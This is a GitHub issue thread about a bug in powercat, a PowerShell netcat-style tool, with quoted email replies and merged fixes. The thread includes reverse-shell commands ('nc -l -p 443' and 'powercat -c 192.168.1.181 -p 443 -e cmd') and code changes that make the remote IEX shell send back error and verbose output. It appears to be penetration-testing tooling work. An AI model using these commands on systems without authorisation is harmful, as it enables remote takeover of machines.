Issues connecting with "-ep" for PowerShell connectivity
kjacobsen opened this issue · 8 comments
Hi,
I setup a listener, "nc -l -p 443", then attempted to connect using Powercat. The following commands works successfully, "powercat -c 192.168.1.181 -p 443 -e cmd" however, using PowerShell mode, "powercat -c 192.168.1.181 -p 443 -ep" the connection is unsuccessful and causes both sides of the connection to exit (even nc on Kali crashes).
Enabling verbose output, the following is captured:
PS C:> Import-Module D:\GIT\Kieran-GitHub\powercat\powercat.ps1
PS C:> powercat -c 192.168.1.181 -p 443 -ep -Verbose
VERBOSE: Set Stream 1: TCP
VERBOSE: Set Stream 2: Powershell
VERBOSE: Setting up Stream 1... (ESC/CTRL to exit)
VERBOSE: Connecting...
VERBOSE: Connection to 192.168.1.181:443 [tcp] succeeeded!
VERBOSE: Setting up Stream 2... (ESC/CTRL to exit)
VERBOSE: Stream 2 Setup Failure
VERBOSE: Closing Stream 1...
PS C:>
I spent a few hours looking through the code, adding some additional debug outputs etc. I also reviewed your change log from the past few commits.
The cause for Steam 2 setup to fail is that $Encoding has not been defined. It appears that the line
$Encoding = New-Object System.Text.AsciiEncoding
has been removed during some of the code re-factoring. This should be reintroduced as follows:
param($Stream1SetupVars)
try
{
$Encoding = New-Object System.Text.AsciiEncoding
[byte[]]$InputToWrite = @()
if($i -ne $null)
I have also made an additional update to my fork, changing the way that the $CommandToExecute variable is executed by Invoke-Expression (IEX). The code in question is:
##### Stream2 Read #####
$Prompt = $null
$ReturnedData = $null
if($CommandToExecute -ne "")
{
try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}
catch{}
$Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
}
Previously only default output was captured and sent back to the listener, this created two side effects.
Firstly, any information displayed via the write-error, write-verbose, write-debug or write-warning CMDLets will not get send from the client back to the listener machine. This can be easily aciveved by implementing redirection of 3> 4> and 5> (along with 2>) to stream 1.
Secondly, if you didn't correctly type the command you wanted to run, no output was received. If you typed a CMDLet incorrectly, say resolve-dns instead of resolve-dnsname, you would receive no feedback. This can be easily resolved by setting the returned bytes to be that of the $error variable, this can be achieved by updating the catch portion (which is currently empty).
The updated code block would be
##### Stream2 Read #####
$Prompt = $null
$ReturnedData = $null
if($CommandToExecute -ne "")
{
try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 3>&1 4>&1 5>&1 | Out-String))}
catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}
$Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
}
I will generate a pull request for you to merge these fixes and updates in, I have tagged the fixes as https://github.com/kjacobsen/powercat/tree/Powercat-EPIssue
Would it also be OK if I spent some time cleaning up this code standardizing this towards PowerShell best practices? I would really like to help putting in additional comments, error handling and more standardization.
Oh wow, that is a pretty big mistake. I merged your pull request. Thank you very much for your detailed explanation and taking the time to make a submission!
I would really like to help putting in additional comments, error handling and more standardization.
That sounds great to us, please feel free to make pull requests in the future! We're very happy to have people experimenting with the script and making improvements.
Awesome! Keep the feedback coming!
On Jan 31, 2015 3:12 AM, "Kieran Jacobsen" notifications@github.com wrote:
Hi,
I setup a listener, "nc -l -p 443", then attempted to connect using
Powercat. The following commands works successfully, "powercat -c
192.168.1.181 -p 443 -e cmd" however, using PowerShell mode, "powercat -c
192.168.1.181 -p 443 -ep" the connection is unsuccessful and causes both
sides of the connection to exit (even nc on Kali crashes).Enabling verbose output, the following is captured:
PS C:> Import-Module D:\GIT\Kieran-GitHub\powercat\powercat.ps1
PS C:> powercat -c 192.168.1.181 -p 443 -ep -Verbose
VERBOSE: Set Stream 1: TCP
VERBOSE: Set Stream 2: Powershell
VERBOSE: Setting up Stream 1... (ESC/CTRL to exit)
VERBOSE: Connecting...
VERBOSE: Connection to 192.168.1.181:443 [tcp] succeeeded!
VERBOSE: Setting up Stream 2... (ESC/CTRL to exit)
VERBOSE: Stream 2 Setup Failure
VERBOSE: Closing Stream 1...
PS C:>I spent a few hours looking through the code, adding some additional debug
outputs etc. I also reviewed your change log from the past few commits.The cause for Steam 2 setup to fail is that $Encoding has not been
defined. It appears that the line$Encoding = New-Object System.Text.AsciiEncoding
has been removed during some of the code re-factoring. This should be
reintroduced as follows:param($Stream1SetupVars)
try
{
$Encoding = New-Object System.Text.AsciiEncoding
[byte[]]$InputToWrite = @()
if($i -ne $null)I have also made an additional update to my fork, changing the way that
the $CommandToExecute variable is executed by Invoke-Expression (IEX). The
code in question is:##### Stream2 Read ##### $Prompt = $null $ReturnedData = $null if($CommandToExecute -ne "") { try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))} catch{} $Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> ")) }
Previously only default output was captured and sent back to the listener,
this created two side effects.Firstly, any information displayed via the write-error, write-verbose,
write-debug or write-warning CMDLets will not get send from the client back
to the listener machine. This can be easily aciveved by implementing
redirection of 3> 4> and 5> (along with 2>) to stream 1.Secondly, if you didn't correctly type the command you wanted to run, no
output was received. If you typed a CMDLet incorrectly, say resolve-dns
instead of resolve-dnsname, you would receive no feedback. This can be
easily resolved by setting the returned bytes to be that of the $error
variable, this can be achieved by updating the catch portion (which is
currently empty).The updated code block would be
##### Stream2 Read ##### $Prompt = $null $ReturnedData = $null if($CommandToExecute -ne "") { try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 3>&1 4>&1 5>&1 | Out-String))} catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))} $Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> ")) }
I will generate a pull request for you to merge these fixes and updates
in, I have tagged the fixes as
https://github.com/kjacobsen/powercat/tree/Powercat-EPIssueWould it also be OK if I spent some time cleaning up this code
standardizing this towards PowerShell best practices? I would really like
to help putting in additional comments, error handling and more
standardization.—
Reply to this email directly or view it on GitHub
#2.
Thanks!
Looks like we've got a bug introduced this last set of changes from two
days ago.
Specifically, I get a message that the & is not permitted on line 648, when
trying to import-module powercat.ps1
Please investigate.
Thanks
- Mick
On Sun, Feb 1, 2015 at 12:53 AM, Kieran Jacobsen notifications@github.com
wrote:
Thanks!
—
Reply to this email directly or view it on GitHub
#2 (comment).
Fixed it! My bad, I forgot to test in version 2 before making merging.
Luke, you da man!
Thanks for getting to this so quickly so I can keep testing these client's
pens.
On Mon, Feb 2, 2015 at 11:38 AM, Luke Baggett notifications@github.com
wrote:
Fixed it! My bad, I forgot to test in version 2 before making merging.
—
Reply to this email directly or view it on GitHub
#2 (comment).
Hi Guys,
My fault for not testing V2 fully.
Thanks for pulling that line. I will figure out a V2 compliant method of capturing the the other streams.
Kieran Jacobsen
m +61 404 393 446
e kieran@kjacobsen.netmailto:kieran@kjacobsen.net | code@poshsecurity.commailto:code@poshsecurity.com | social@poshsecurity.commailto:social@poshsecurity.com
t @kjacobsenhttp://twitter.com/kjacobsen | @poshsecurityhttp://twitter.com/poshsecurity
w poshsecurity.comhttp://poshsecurity.com/
From: besimorhino [mailto:notifications@github.com]
Sent: Tuesday, 3 February 2015 6:07 AM
To: besimorhino/powercat
Cc: Kieran Jacobsen
Subject: Re: [powercat] Issues connecting with "-ep" for PowerShell connectivity (#2)
Luke, you da man!
Thanks for getting to this so quickly so I can keep testing these client's
pens.
On Mon, Feb 2, 2015 at 11:38 AM, Luke Baggett <notifications@github.commailto:notifications@github.com>
wrote:
Fixed it! My bad, I forgot to test in version 2 before making merging.
—
Reply to this email directly or view it on GitHub
#2 (comment).
—
Reply to this email directly or view it on GitHubhttps://github.com//issues/2#issuecomment-72516968.